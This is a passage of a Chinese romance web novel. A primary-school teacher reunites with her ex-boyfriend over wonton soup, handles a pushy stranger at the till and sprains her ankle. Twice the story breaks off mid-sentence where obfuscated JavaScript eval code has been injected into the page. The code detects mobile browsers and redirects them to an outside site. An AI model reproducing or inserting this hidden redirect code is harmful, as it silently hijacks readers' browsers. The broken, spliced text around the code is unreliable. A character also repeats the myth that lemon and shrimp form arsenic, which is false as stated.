小馄饨 上了车,戚柠坐在副驾,封砚独自去了后排。高叔拨动转向灯,驱车左转汇入车流。 一时间车内寂静无声。 封砚方才的那些话,略轻佻散漫的音色,搭配着他眉毛微挑的戏谑神情,不停在脑内循环回放。 “理解,不就是老同学好久不见,回首过往,情难自抑么?” “……” “倒也不必这么着急投怀送抱。” 戚柠双耳发烫,脸颊涨热。 后背还能模糊感知到来自他手掌的温度。 不是尴尬,也不是窘迫。 这奇异的感受她并不陌生,很容易判断出来,自己因为什么而脸红。 想到这,她像只小仓鼠一样,试探着,故作镇静抬睫看了眼后视镜。目光触及那张熟悉又陌生的脸后,当即迅速撤回。 是封砚没错。 他回国了,现在就坐在她车里。 一切玄幻到有些不真实,像是还没从梦中醒来。 车窗外雨声淅沥,水珠调皮地在车窗上玩滑滑梯,两旁行道树枝叶葱翠欲滴,在雨水冲刷下撒欢儿舞动。 心底凋败枯寂的那片荒芜,也在这场绵绵春雨的撩拨下,蠢蠢欲动窜出新芽。 “柠小姐,接下来怎么走?” 驶离机场,高叔抹方向盘开上返城高架。过了跨江大桥,不远处就是岔路口,往左是西华区,往右是崇安区。车内静得过分,没人指路,高叔只能主动发问。 戚柠从车玻璃上收了视线,回神,“什么?哦,去西华,泊云——” 说到一半,她忽然意识到还没问封砚是要去哪儿,目光稍稍往后排挪了挪,借机光明正大放在他脸上。 封砚相貌生得好,眉眼偏薄,面中立体度优越,从山根到鼻背接近直线,压迫感极强,但一笑又很有动态感,唇角微翘着,看起来邪邪的坏坏的,还有点痞,让人少女心怦怦。 如今的他,比少年时期添了几分阅历丰长的从容,更游刃有余了,五官越发耐得住推敲细品。 如果说以前仅仅是容易招小女孩心动,那现在,简直全年龄段不分性别通杀。 不过此刻,后座上,封砚眉心微拧,唇角平直下压,半耷拉着眼皮正闭目养神,整个人又生出几分距离感。 戚柠敏锐察觉出,他这会儿心情似乎不怎么好。像是极力隐忍克制着烦躁和不快,而且,她莫名觉得,这负面情绪的产生跟她有关。 他在生她气。 他讨厌她了吗? 所以……刚才给她开副驾车门,其实是不想跟她一起坐? 脸上热意退却。那些浮想联翩的小心思,在他冷脸的对比下,显得是如此不合时宜。 戚柠忽然不安起来,无措地咬着下唇,神情失落不解又束手无策,大脑全然没了主意。 贝齿在唇上留下明显痕迹,裙边流苏也被她手指绕成了乱七八糟的形状,好不楚楚可怜。 她就是有这种天赋。 总能轻而易举流露出令人心折的破碎感,让人忍不住心疼呵护,付诸行动。 就在戚柠脑袋垂到几乎跟领口齐平,胸腔即将被铺天盖地的沮丧淹没时,封砚搭在膝盖上的手突然动了下,换了个位置,摁在腹部上。 腹部……不对,那个位置——是胃。 她蓦地福至心灵。 封砚这人表面没什么架子,对很多东西都无可无不可不怎么在意,可骨子里实是少爷脾气,最典型一点,他对吃的很挑却又禁不得饿,一饿就冷张脸谁也不耐烦搭理,看起来怠慢又倨傲。 想及他刚坐了不知道多少个小时的飞机,飞机餐肯定入不得封少爷的眼,估计早就饿坏了吧? 戚柠探手打开面前的储物盒,可惜车子太久没用,里面空空如也。她偏头望向驾驶位: “高叔,先拐一下玉兰街,去泰记老字号馄饨店,”顿了顿,忍住向后打量的冲动,飞快补充,“嗯……津津让我给她带份小馄饨。” 这借口显而易见的拙劣。 刚才在航站楼,于津津是来了通电话,但是质问她今天上午为什么请假,以及分享“小三事件”最新进展。 顺道八卦一下校门口那辆消失的保时捷。 先不提这通在另外两人围观下的电话,从头到尾半句都没往吃的上拐过,身为麦门忠实信徒,于津津怎么可能背叛吉士蛋堡选择小馄饨。 不过,借口不借口的,高叔只关心业务范围内的前半句,在路口掉头改道,至于封砚……戚柠轻轻地、又轻轻地小幅度用余光向后瞥了眼。 男人脸色依旧冷淡,但眉间的褶皱松了点,周身那股掩藏不住的低气压也淡了,分明默许了她的提议,看情形…… 她应该猜对了。 戚柠唇角一弯,心情也跟着重新好起来。 - 早上九点钟的泰记生意兴隆。 堂内已经没了空位,门口廊檐下倒有两三张桌子空着,可路边摊那环境,戚柠摇头,今天气温回落,又下着雨,觑一眼封砚身上的短袖花衬衫,封少爷身娇体贵,万一给冻坏了可怎么办。 她纠结着,四处逡巡一圈,忽眼尖瞥见堂内角落有一桌客人吃完了准备走。 戚柠眼前一亮,下意识往那个方向迈步,想要过去。才刚抬起脚,她胳膊突然被人往旁边扯了一下,跟着身子一歪,跌靠在对方怀里。 戚柠无辜抬眼,只见一名服务生端着餐盘快步从身前经过,餐盘上是横七竖八堆叠的餐具,摇摇欲晃。 如果没被拉这一下,她大概率已经跟对方撞上。 戚柠心有所感回头,封砚却早她一步率先后退,松开了她的胳膊。寡淡目光平视前方,仿佛什么事情都没发生。 胳膊被持过的地方,皮肤隐隐发烫。 她心情再次提亮一度,赶紧掩饰性拢拢头发,“那边好像有个空位,我们先过去吧。” 三人落座。 为了掩饰内心慌乱,也为了印证之前说的话,戚柠一口气点了四份小馄饨,其中一份打包,另外又给封砚单独加了一屉蟹粉汤包。 小馄饨量不算大,一份八个,对高叔这种成年男性来说,也就是垫垫胃的量,哪怕吃过了早饭,再来顿加餐也没任何负担。 可戚柠因为身体不太好,从小谨遵医嘱严控食量,早养成了小鸟胃。 早上她为了讨好亲妈,吃得又很顶,装模作样勉强吞了一只后,实在吃不下,只能掩耳盗铃将碗里的葱花一一挑出来,码在摊开的餐巾纸上,给自己找点事情做。 许是上天怕她太无聊尴尬,又见不得有人浪费食物,于是主动把事情送上了门。 戚柠正专心致志挑葱花,微信突然滴滴两声,不等她点开查阅,手机铃声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“也没什么大事,这不是今天下雨,学校旁边天桥底下积了一小片水,特逗,也就两三厘米深的水,那些小学生又是挽裤腿又是脱鞋子的,可一本正经了,硬是手拉手排队蹚过去了……对了,有个小孩还不小心滑了一跤,趴水里了,我过去看了下,好像是你班里的……” 他东拉一句西扯一句,没个重点,分明是不想挂断。 手段略显拙劣,却挺有效,戚柠不知不觉被他后半句吸引去注意,追问:“摔得严重吗?” “不严重不严重,就是衣服湿了,家长已经接回家了,”韩树见她对这个话题感兴趣,不由多说了几句,“那小孩可坚强了,不仅没有哭鼻子,还……” “戚柠。” 戚柠正听得认真,耳边突然响起自己的名字。 她循声偏头,封砚坐姿闲散,手上夹了只汤包,慢条斯理咀嚼着,那专心吃饭的架势比小学生上课听讲还认真。 让她一瞬间有些困惑,怀疑自己是不是耳朵出现幻听,其实刚才他根本没有喊她。 封砚又勺了只馄饨送到唇边,没吃,声音不咸不淡地继续开口:“葱花挑完了吗?” 戚柠下意识诚实答:“挑完了。”心里有点弄不明白他问这个干什么,想问,但他一脸心无旁骛地低头喝汤,全程没往她这边扫过一眼,这冷淡的态度又让人无从问起。 好在封砚没让她纠结很久。 他右手掌心向上,拢成一个抓碗的手势,朝她伸了过来:“好,给我吧。” 5. 对不起 “葱花挑完了吗?” “挑完了。” “好,那给我吧。” 平心而论,封砚说这话的语气没有半分颐气指使,更不存在所谓情人间的熟稔和亲昵。 他声音平静得不带一丝情绪。 但就是态度太随意自然了,自然得就像是,她刚才是在专门给他挑葱花一样。 戚柠低头看一眼面前的陶瓷碗: 浓白骨汤上铺着一层嫩绿的香菜,更细小的葱花被挑得一干二净——怎么说,封砚确实不爱吃葱,又很爱吃香菜。 如果强行解释,大概只会显得越发欲盖弥彰。 虽然事实是,从小一向对蒜苗小葱香菜韭菜芹菜茼蒿等“假绿叶菜”敬谢不敏、觉得他们有股怪味的戚柠,这些年口味大变。 除了仍不太喜欢葱的口感外,对其他几样接受度大大提高,甚至很重口味地忽然喜欢上吃香菜和茼蒿,每回涮火锅必点。 迟疑几秒,她端起桌上的小馄饨,向左递了递,推进那只宽瘦的手掌里。 封砚坦然接过,顺手放在了他的馄饨碗旁边。 有那么个瞬间,戚柠感觉自己的心脏也随同那碗馄饨,被他接起又放下,安置在一侧。投注无限期待和忐忑,等待他亲手拆解。 电话那头,韩树试探问出声,“你在外面跟人吃饭?刚才那个人……是谁?” “嗯,在吃饭。”戚柠坦白。她无意识拿手拨弄着面前小碗里的汤匙,瓷器相撞,发出清脆的一声响。 有点突兀,她立刻心虚地将右手安分收在腿上,假装无事发生。 脑袋仍纠结着,那碗馄饨已经被她吃了一个,封砚他不介意吗? 还是说……他没有看到? 韩树等了半天不见她再开口,着急还要追问,刚起话头,戚柠手机屏幕一闪,进来一通电话。 她这回长记性,特意看了眼备注,二年级语文-曹文敏0829,曹老师找她? 戚柠心感奇怪,又怕对方有急事,给韩树留了句“我这边忽然有点事”,便直接挂断,接通曹老师来电。 她动作干脆,丝毫没发觉这说辞和行为,特别像是为了挂电话而随口敷衍来的不走心借口。 更不可能注意到,左手边的男人不经意滑落在她手机上的视线。 “小戚啊——” 曹老师上来先连声叹气。 每叹一声,戚柠神经就紧绷一分,脊椎骨也抻得笔直,活像是上课被老师捉到提问的小学生。 经过这段时间相处,她对曹老师的性格已经算比较了解。 曹文敏有严重强迫症,行为处事习惯循着既定章程走,就连不同情况下,对每个人称呼的变化,都能精准对应上她当时的情绪状态,从无例外。 比如说现在,这标志性的三字开场白,等同于预告戚柠又做错了什么工作,惹曹老师生气。 至于生气的原因,无非是原定计划被打乱,导致她不得不出面收拾“天外飞来”的乱摊子。 戚柠望一眼窗外的连绵雨丝,很快想明白曹文敏为什么会给她打电话。 今天下雨,室外体育课上不了,按照曹班主任的调课规律,大概率要改成手工课或者阅读课。这两门目前是戚柠和郝云在负责带,但—— 郝云因“小三事件”被暂时停课,而她,上午请假了。 不管怎样,临时请假总归不对。 “对不起,文敏姐,”戚柠识时务地主动承认错误,“我不该随意请假。”特别惭愧,“我忘了今天下雨。” “下雨还能忘?”曹文敏被她噎到,没忍住讽声,“你看不见外面下没下雨?” 戚柠发现自己说错话,脸红了红——一半是为自个儿用词不当,一半则是因为曹文敏这话声音有点大,高叔和……封砚肯定听见了。好丢脸。 她也不再找理由,忙道:“我现在回去。” 说着从座位上站起来,便要赶回学校,刚迈一步,又迅速意识到已经来不及。 体育课是第二节,九点十分开始,现在已经九点半了。 她只得又顿住脚步。 神色踌躇,细密的长睫毛蔫蔫耷拉着,不知道接下来该怎么办。 曹文敏一早安排好了,怎么可能干指望戚柠靠得住,她又不是脑子坏掉的,打这通电话,无非就是想找个地方把火撒出去。 但当真对上这尊性软单纯、弱到骨子里的泥面人,天大的火气也只能变成哑火。 单向输出实在没什么成就感。再者,曹文敏一联想起她泫泪欲泣,又故作坚强的我见犹怜模样,就忍不住头疼。 万一把人骂哭了,到头来还得想办法哄,何况戚柠背景在那儿放着,她亲妈戚岚可不是好得罪的。 曹文敏长叹一声,将未尽的话收回去,只道:“算了,你先看微信。” “好的,文敏姐。谢谢你,给你添麻烦了。” 等对方挂断电话,戚柠丧气几秒,勉强打起几分精神点开未读消息。 【以后请假务必提前一天报备】 【2班阅读课先由1班李老师兼带着】 【教学进度你或者郝云主动跟李老师对接下】 【田主任刚问起“你跟郝云频繁私下换课”一事,我不太了解情况,你下午过去当面解释下吧】 先扫向第一条。这提醒虽然生硬直白,却更让戚柠松一口气,感到安心。就像是“下不为例”含义为“只通融这一次”,这个提醒也说明曹文敏已经找到其他人代体育课。 她心脏落回肚里。 中间那两条,戚柠早上刚听于津津说过,简略浏览后,回了个“收到”,不多逗留。 她的注意力全被最后那句吸引了去。 老师之间私下调换课挺常见,一般情况下,只要两个老师谈妥,班上学生也不反对,不用特意向上报备,直接就能换。 戚柠和郝云今年2月份一起入的职。两人面试的同一岗位,后又被分到同一个年级组,现在还都由曹老师负责带,平时工作中交集不少,私下关系也还可以。 郝云在原单位上班时读了在职研,下个月毕业答辩,最近因为论文的事情,经常往学校跑。 但她实习期还没转正,怕总请假给领导留下不好印象,于是常常私下托戚柠帮她代课。 戚柠从来不知道拒绝人,而且她负责的手工课一周只有两节,除了这80分钟上课时间,天天坐“冷板凳”,闲得简直快要发霉了,自然欣然答应,替郝云上过好几次课。 这些戚柠都承认的。 但一句话总结成“频繁私下换课”,未免有点太重了。 戚柠有些气闷,倒不是为自己,她怕在这个节骨眼上,田主任突然提起这桩,会对郝云的处境不利。 一时间千头万绪。 很少开小窗聊天的吴为传了条语音过来。 戚柠心不在焉点开。 “戚柠,那个事我听说了,你还好吧?唉,你就当休假了,刚好趁这个机会在家多休息两天……” 奇奇怪怪。 听不懂。 戚柠微微皱眉,有心追问清楚,但又提不起心力深究,而且…… 不知什么时候,左手边,封砚专注吃饭的动作停了。 他抽了张面纸擦拭唇角,慢悠悠站起身。见她目光望过来,指指后面,表示自己去上厕所,而后又弯唇冲她比了比手,示意她继续听语音,不用管他。 戚柠愣了愣,刚要点头应好,封砚却抢先错开视线,移步离开,并不关心她的回应。 可怜戚柠脑袋还没点下去,又被迫抬起来,漂亮的杏眼不自觉紧追他脚步远去,直至那道挺直颀长的身影消失在拐弯处。 手机里,吴为的下一条语音跟出来: “你千万别理那些扑风捉影的流言,田主任这也是为了保护你,你的为人我们都看在眼里。” 戚柠目光回落到屏幕上,眉间褶皱加深。 什么流言? 田主任又怎么保护她了? 联系他上一句,吴为不会以为她上午没去上班,是被“休假”了吧? 可怎么又牵扯到她的为人上去了…… 戚柠想不明白。 动手点开输入框,盯了两秒,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670592|144148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退出。 算了,等下午再当面问好了。 她抿抿唇,选择性忽略心头那抹阴影,继续望向洗手间方向—— 封砚绝对、肯定、一定对她不爽了。 他刚离开前那状态,她太熟悉了。 越是看谁不顺眼,便对谁姿态越发客气。不知道的还以为是他好说话,实际上封少爷只是更擅长和风细雨间杀人于无形。 记得当时班上有人背后这么评价过他: “封砚这人,也就是看起来没架子好相处,玩儿得开。想也知道,从小要风得风要雨得雨惯了的主,怎么可能真的温良随和,骨子里那股与生俱来的嚣张和狂妄是掩藏不了的。脾气带在脸上时还好,说明他压根没往心里去,但若被人惹了还能冲对方笑,那才一定要小心了,因为砚哥他真的恼了。” “话又说回来,这种人最得罪不起,那张脸长得就不像是肯吃亏的样子,惹恼了他绝逼连怎么死的都不知道。” 以前她没觉得封砚有同学形容得这么“难搞”,直到真正分手后,她才恍然意识到这个评价有多么中肯犀利。 恋爱期,吵架的时候,别看封砚狠话放得比谁都凶,可屁股黏在沙发上完全不见挪地的,脑袋跟大爷似的压在她腿上抬都抬不起。 最恶劣的行径也不过是捉了她的手磨两下牙解气。 典型的雷声大雨点小,稍微一哄就好。 甚至都不需要哄,只需要她露出个示弱的眼神,火气就散了。 可分手前最后一面。 明明他都以为……她那样伤他。 骄傲如封砚,居然一再退让,在最后一刻都留有余地。 “之前种种我都可以当没发生过。” “你担心的那些,我来想办法解决。” “……” “现在你选。” “跟他,还是跟我?” 旁人的眼光,事情的真相,接二连三的重创和羞辱,颜面尽失,封砚通通不在乎。 他只关心她的态度。 可戚柠是怎么回应的。 如洁白花瓣般柔软纤细的脖颈向下折,她懦弱到连跟他对视一眼都不敢,低声说了三个字: “对不起。” 而在这之后,封砚居然没发怒。 他就那样深深凝视着她,像是要把她此时的所有反应收入眼底,刻入心肺。 说不清过了多久,他忽然抬起手,将她被风吹乱的碎发折在耳后,表情专注认真,语气更是说不上来的轻淡: “戚柠,不要后悔。” 紧接着,不等她有所反应,他猝不及防抽身,向后倒退几步。 对视上她略显慌乱找过来的目光,他平静回望数秒,竟然微微勾起唇角,神色从容地冲她挥了挥手。 然后下一秒。 封砚大步转身,头也不回地离开了她的世界。 这是她和他最后一次见面。 直至六年后,花汀机场,两人再照面。 拉回现实。 恍惚间,戚柠产生一种错觉。封砚去洗手间的那个转身,唇角那抹客套的笑,奇异地跟六年前他离开的身影重叠。 仿佛两人的人生又要再次失去交集。 她心脏没来由地向下坠。 又说不清楚自己在慌什么。 不要后悔。 戚柠一直记着他这句话,也很有骨气地不去主动打听他的近况,连怀念往昔都很少。 可现在,两人已经分手六年了。 一切都过去那么久了。 好不容易再相逢,她仅仅只是想退回“老同学”身份,和他像普通朋友一样相处,难道也不可以吗? 至少,他们是同学吧,曾当过一段时间同桌,也算熟悉,在恋爱之前,关系也一直还不错啊。 还是说,分手后就只能做陌生人。 不要后悔。这六年有没有后悔,戚柠没细想过,但此刻,她是真有点后悔。 如果一定要这样,还不如两人从一开始就没有……下唇猛地被咬住,纤长睫毛簌簌颤动两下,她没能再接着想下去。 6. 柠檬虾 “柠小姐,我先去把车开过来。”高叔及时开口,打断了她渐发沉闷的思绪。 戚柠点头,“好。” 等高叔也起身后,她不自觉又张望了下洗手间方向,没看到封砚出来。 顺着来往人流,戚柠目光无意识右转,见这会儿收银台人不多,于是想先过去结账。 没几个人便轮到她。 戚柠取过打包的那份小馄饨,和服务员礼貌道谢,正要付款,她面前突然插过来一只手,手机二维码朝上,对准扫码枪。 滴一声。 伴随着“支付宝到账1680元”的机械声响起,戚柠扭头向后。 旁边不知道从哪里冒出来一个身穿意式休闲装的男人,单只手肘撑在桌台上,偏头微侧向她。 目光相撞,男人扬眉冲她晃了晃手机,价值八位数的机壳logo显著,尾指戴素圈,眼神侵略性十足,唇角微勾,仿佛成竹在胸。 他也不开口,就这么直勾勾锁定她的表情,等待她下一步反应。 那游刃有余的架势,独属于二世祖的纸醉金迷气场,一看就是深谙泡妞套路的情场老手。 戚柠的初步反应也确如他所料。 柔嫩的侧脸莹白诱人,她眼底泛着乍然受惊的水雾,茫然,慌乱,无措,本能四处张望求援,看起来单纯温吞又弱不禁风,一碰就碎。 周围渐渐有了不少人围观。 能摸到玉兰街这排老破小门店吃饭的,有一个算一个,都是家里有几条街商铺等收租的老花汀人,钱和时间不缺,最缺的就是消遣。 后面排队结账的人也不催,很有耐心地等待两人交涉。 男人显然更有耐心,饶有兴致欣赏着她的反应,一点也不着急。 的确,狩猎的过程远比享受胜利果实要让人有成就感得多。 相比之下,最没耐心的是戚柠。 无声僵持中,她焦急又无助,一次又一次望向洗手间和门口方向,寻找熟悉的身影。 每当遇到麻烦和冲突,戚柠习惯了会有人出面保护她,挡在她身前为她出头做主。 今天她不是一个人出门,高叔或者……封砚,都很擅长扮演这个角色,所以向他们求助也是她条件反射的第一选择。 很幸运,封砚出现得很及时。 就像电视剧里演烂了的庸俗粉红泡泡桥段一样。 戚柠自己都没意识到,当他身影进入视野后,她那瞬间的目光有多亮,像是有光在跳跃,双眼猛然焕发神采,迸射出璀璨光芒。 如此灼热的目光,没人能忽视,更没人能抗拒。 二世祖顺着她视线看过去,迅速锁定目标对象。 腕上手表价格不菲,千万定制款,颜正有型,身高至少183,看穿搭刚从国外度假回来,有钱有颜有闲还年轻,确实有资本英雄救美。 如果放在平时,让也就让了。 可二世祖还是头一回遇见这么绝的妞,顶级小白花初恋脸,清纯不甜腻,仙气不清冷,那双大眼睛更是点睛之笔,水润润的仿佛会说话,将无辜感拉扯到天花板。 尤其是她望向对面时,那副眼里只有你的痴痴模样,脉脉含情欲语还休,更是让他心痒痒欲罢不能,恨不能强行改道将目光安到他身上。 雄性遇强则强的好胜心占了上风。 二世祖泰然注视着183走近,开始主动出击:“加个联系方式?”他把二维码亮到戚柠面前。 发起进攻是其次,主要还是为了试探183的反应。 撂下这一句,二世祖抬抬下巴,再次“绅士”地将主动权交回戚柠手上。 戚柠根本不会理他,张着澄净的大眼睛翘首以盼,一门心思等封砚过来。 二世祖也不强求,跟着再次瞧了过去。 随着距离缩近,他纠正了自己的判断,183比他估的要略高一点,应该有185。 这点倒不重要,让他意外的是对方的态度。 二世祖挑挑眉,越发觉得有点意思。 再觑一眼旁边的小仙女,她似乎更早敏锐捕捉到了185释放出来的信号——他不会管她。 185压根没打算多管闲事。 小仙女像是很受伤很难置信似的,下唇咬得死紧,一瞬不瞬盯了185足足半分钟。 那楚楚可怜的小模样,格外惹人疼惜,让二世祖都忍不住替她控诉,185未免太狠的心。 戚柠不知道封砚是真没留意到这边的动静,还是没发现收银台这边站着的人是她。 但她尝试了好几次跟他对视,引起他注意,都失败了。 封砚往这边走了没多远,便停了脚步,眉头微攒,似想起了什么不愉快的事,浑身上下透着股自厌之感。 戚柠不确定自己有没有看错,因为很快他又撩起眼皮向这边扫了一眼。 她迅速视线上挪同他对视,他却没什么反应。 脸上表情稀缺,眼底也没有任何多余的情绪。仿佛仅仅是在放空大脑,随便找个位置将目光放了过去。 店门口又有客人进来,一边收伞一边矮声抱怨着,外面有块地砖坏了,害他一脚踩进水坑里,裤腿都湿了。结账的队越来越长,终于有人不耐烦嚷了声,前面咋回事,让不让人埋单了? 戚柠睫毛颤了颤,终于确认,封砚不会再过来。 二世祖故意将手机屏幕又往她眼皮子底下递了递,见她视线移回来,还可恶地冲她抬了抬下巴。 戚柠看懂了,是奚嘲她没能成功搬来救兵。 她抿唇沉默两秒,倏尔抬头直视二世祖,露出个礼貌得体的笑:“不用了。” 说着,打开手包,从钱夹里取出二十张粉色钞票搁在桌面上,推到二世祖手边:“刚好我有带现金,谢谢。” 巧妙把男人的冒犯行为合理解释为,不小心帮她误结了账,然后又要求她转账给他。 还完钱,戚柠工整地合上手包,便要移步离开。 才刚抬起脚,又被二世祖伸出手臂拦住。 到了这会儿,戚柠是真觉得这个人过分无赖,一点都不懂正常社交礼仪。 她默默端详男人几秒,似有些不解地皱了皱眉,忽然开口问:“你想追我?” 二世祖不成想她竟然如此直白,噎了噎才稳住阵势,找回场面:“可以吗?”他故作轻佻地笑了笑。 戚柠没回答,侧身面向收银员:“可以给我张纸和笔吗?” 她写下一串号码,放在男人面前。 “你的手机号?”二世祖将纸片夹起来。 “不是,是我妈妈的。” 二世祖存号码的动作顿住,看奇葩似的难以置信反问:“你妈?” 戚柠点头:“想追我的人很多,你可以先问问我妈妈你够不够格。” 表情认真诚恳,语气也是一本正经的乖乖女腔调,从她脸上找不到半点耍人的意思。 说完,她抱歉笑笑,绕过对方往店门口走去。 徒留一脸便秘的二世祖无语凝噎。 戚柠一路直走,表面看起来淡定又镇静,实则刚转过身脸就红了个通透——不是被二世祖的莫名其妙搭讪气的,而是囧的。她也不知道自己为什么会脑抽做出这么匪夷所思的举动。 还说出那样“狂妄”的话。 简直不敢细想。 不过想想又有点得意。 她好厉害,有点酷呢,属实超常发挥了,这么霸气真的是她吗? amazing!!! unbelievable!!! 消消乐机械音在脑内接连播放。 可惜没有熟人在场,搞得她讲出去都没有人信要怀疑她吹牛。好可惜,多么值得载入史册的一幕,只能她一个人孤芳自赏。 不对,等等。 戚柠小幅度后退一步,偏头瞄了眼右侧站着的人。 她差点忘了,封砚在场呀。 看见本尊,戚柠不由记起了刚才他的袖手旁观,以及自己的惶惶无措。 好心情颓了一度,但……她又仔仔细细打量了封砚一遍,他居然还在发呆,丝毫没有留意到她的存在。 所以,刚才他真的是因为没有看到她,才没有上前帮忙的对吗? 戚柠在心里帮他找着借口。 而且,他本来也没有义务出手,小学老师都教了,自己的事情自己做,如果不是这样,她还没机会见识到自己这么神气的一面呢。 戚柠默默点头,自我肯定了这个想法。 也是在她纠结的空当,封砚终于注意到了面前这个大活人。 两人目光对视。 不知道为什么,忽然间,戚柠迟钝地感觉有点尴尬,想不出该以怎样的表情面对他。 好像打从两人在机场碰面,共处一个多小时,一直到了这一刻,重逢的喜悦淡去,智商也回归正常水平,她才终于有点清醒地意识到,面前站着的,是隔了六年的,她并不熟悉的陌生人封砚。 而她已经无法像以前那样,自如从他细微表情中,读出他眼下的真实想法。 最后还是戚柠先开口:“你还吃吗?” 很糟糕的开场白,有点没话找话的意思了。 “不吃了。”她听见他说。 “那走吗?高叔应该已经在外面等了。” “好,我去拿包。” 在他转身的同时,戚柠眼睛下意识跟了过去。 视线从吃剩的餐桌上方扫过,不过匆匆一瞥,还是眼尖注意到了他座位右手边多出来的那只陶瓷碗。 上面铺着的香菜已经有点蔫了,软塌塌吸附在汤表面上,暴露出馄饨的形状。 十以内的数字很好计算,好算到戚柠根本不用挨个数过去,就知道那是七个。 除了被她吃掉的那个,剩下的封砚一个也没用动。 其实她是用勺子舀到小碗里吃的,后来又新拆了筷子挑葱花,按理说,大碗里的小馄饨都还是干净的。 就算封砚没开口,她原本也想过问下高叔要不要吃的。 好容易轻盈几分的情绪又跌回原地。 两人隔了不远不近距离,一前一后朝门外走。 车就停在门口,走过去淋不了多少雨,但高叔还是周到地准备了两把伞给他们。 戚柠撑伞提裙下台阶,细而密的雨滴顺着伞面向下坠成一道道雨帘,湿漉漉淌在地上,也顺着喉咙淌进了她心里。 她莫名觉得胸口有点堵,像被塞了一大块濡湿的棉絮,又闷又潮,连呼吸也透着股滞涩感。 戚柠想,她不是在难过封砚主动索要了那份馄饨却没有吃。 仅仅是觉得,粮食如此珍贵,就这么白白浪费掉好可惜。一定是这样。 路况不好还走神的后果就是,她悲催地精准踩到了门口那块松动的地砖。 很幸运,裙摆被她高高提起没有打湿。 很不幸,她的脚崴了。 戚柠尝试着挪动了一下,便立刻感觉脚腕虚软,支撑不住身体重量要倒,下一秒,她整个人腾空而起,被封砚横抱着送到了车座上。 导航目的地就地改成了全市最好的骨科医院。 不幸中的万幸,照了X光检查后,医生肯定表示:“骨头没事,不放心的话可以喷点云南白药,年轻人恢复快,要不了几天就好了。” 封砚拿着片子看了又看,细致入微向医生询问细节,追问注意事项。 戚柠坐在旁边的病床上,由护士帮她喷药剂包扎。 小护士见她脸颊绷得紧紧的,以为她怕疼,主动搭话分散注意力:“你男朋友很细心哦,连睡觉要把脚抬高改善血液循环都注意到了,真难得。” 戚柠礼貌笑笑,刚要接话,却猛地愣住,后知后觉注意到对方话里的称呼。 “男朋友?”她有点奇怪护士为什么会这么认为。 虽然她和封砚都在为她的脚伤“忙前忙后”,但完全是在各忙各的,全程没有任何言语交流,更没有眼神交流。 她以为在外人看来,他们两个更像是“肇事者”和“受害人”,素不相识的陌生人。 怎么会是男女朋友? 小护士显然误解了她的疑问,暧昧眨眨眼:“难道还不是?那我建议你好好考虑一下,早点给人家转正,我能看出来,他对你很上心喔。” 上心吗? 戚柠看不出来,她只觉得他陌生。 生气的、心情不好的、漫不经心的、吊儿郎当的、把她宠到天上的封砚,她统统都知道该如何跟他相处。 但眼前这个像是隔了层雾,让人看不清捉摸不透的陌生人,她实在难以招架,无力应对。 戚柠甚至怀疑,他此刻是不悦和厌烦的,被迫陪同她这个旧黄历的前女友就医,但这些坏情绪通通被他隐藏得不着痕迹。 想到这里,她有种浓浓的挫败感。 就好像两人一起玩游戏,他已经next level云淡风轻了,她还挣扎着在小人国打怪,出一招就用尽全力,把自己搞得灰头土脸狼狈不堪。 尤其不久前,她还因为“他吃没吃馄饨”这么小的事情斤斤计较,更像是一种佐证,证明她这个人真的很小气很幼稚很不可爱。 笨笨的,连路都走不好,实在好没用。 从医院出来已经下午两点。 天色灰扑扑的阴沉,雨还在下,连绵雨丝如同一张无形大网,将穹顶遮挡得密不透风。车窗外景色模糊不清,车内沉默得只剩引擎声。 车子稳稳停在栖星公馆外面。 车门打开的同时,戚柠递了把伞给封砚,伞柄朝 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“对,老师。” “能吃香菜了?” “能吃。” “糖渍柠檬还喜欢吗?” “喜欢。” “五月底谁结婚?” “我表姐。”戚柠猛地睁大眼,又迟了几秒,讷讷问他:“你怎么知道?” 封砚不回,继续问:“你是伴娘?” 戚柠抿了抿嘴,也不再答他了。 接下来,两人似陷入某种僵持,像是在较着劲儿看谁先开口。 雨声滴答,有风吹过卷来一阵凉意,隐约间,她像是看见封砚不小心瑟缩了下肩膀。 除了怕蟑螂,戚柠还知道,他最怕冷,半点受不得冻。 好似发现他的弱点给了她无穷勇气,戚柠壮了壮胆,问:“在馄饨店,你从厕所出来,看见我了吗?” 她一眨不眨紧盯封砚神色。 他比她想象中要诚实和坦诚,几乎没怎么犹豫,点了下头:“嗯。” 果然是这样。戚柠有点生气,却又不知道怎么发泄,咬了下唇,接着问: “那你没有过来……是想看我热闹吗?” “不是。” “那为什么?”她追问。 封砚停顿片刻,才说:“是想验证下心里的一个猜测。” 戚柠等着他往后讲,但他没接着说,她也不想追问下去了,换了话题: “那碗馄饨你没有吃。” 明明脑内是质问的疑句,说出来却变成干巴巴的陈述语气。 “对不起,我高估了自己的饭量,落地前刚吃了飞机餐,”他不知道想到什么,忽然笑了下,“很大一份柠檬虾。” 随着他这一笑,气氛也无形间松弛了下来,半晌,戚柠狐疑道:“你不会吃完了吧?” “吃完了。”他说。 戚柠立马露出一副欲言又止又有所顾忌的神色,忍了半天,还是忍不住咕哝一句: “柠檬和虾在体内会合成砒霜,吃多了会中毒。” 这话还是他说过的。 但她说着说着声音却越来越小,不确定当年他是不是随口敷衍骗人。 汀附中食堂六号窗口的柠檬虾出了名的好吃,每次排队都要排半个小时,有时候好不容易排到还卖完了。 封砚从不去凑这个热闹。 有次她排队打完饭,找座位,刚巧坐在他后面。 戚柠耳尖听见,有男生问他是不是不喜欢柠檬虾,他就甩出了这个回答。 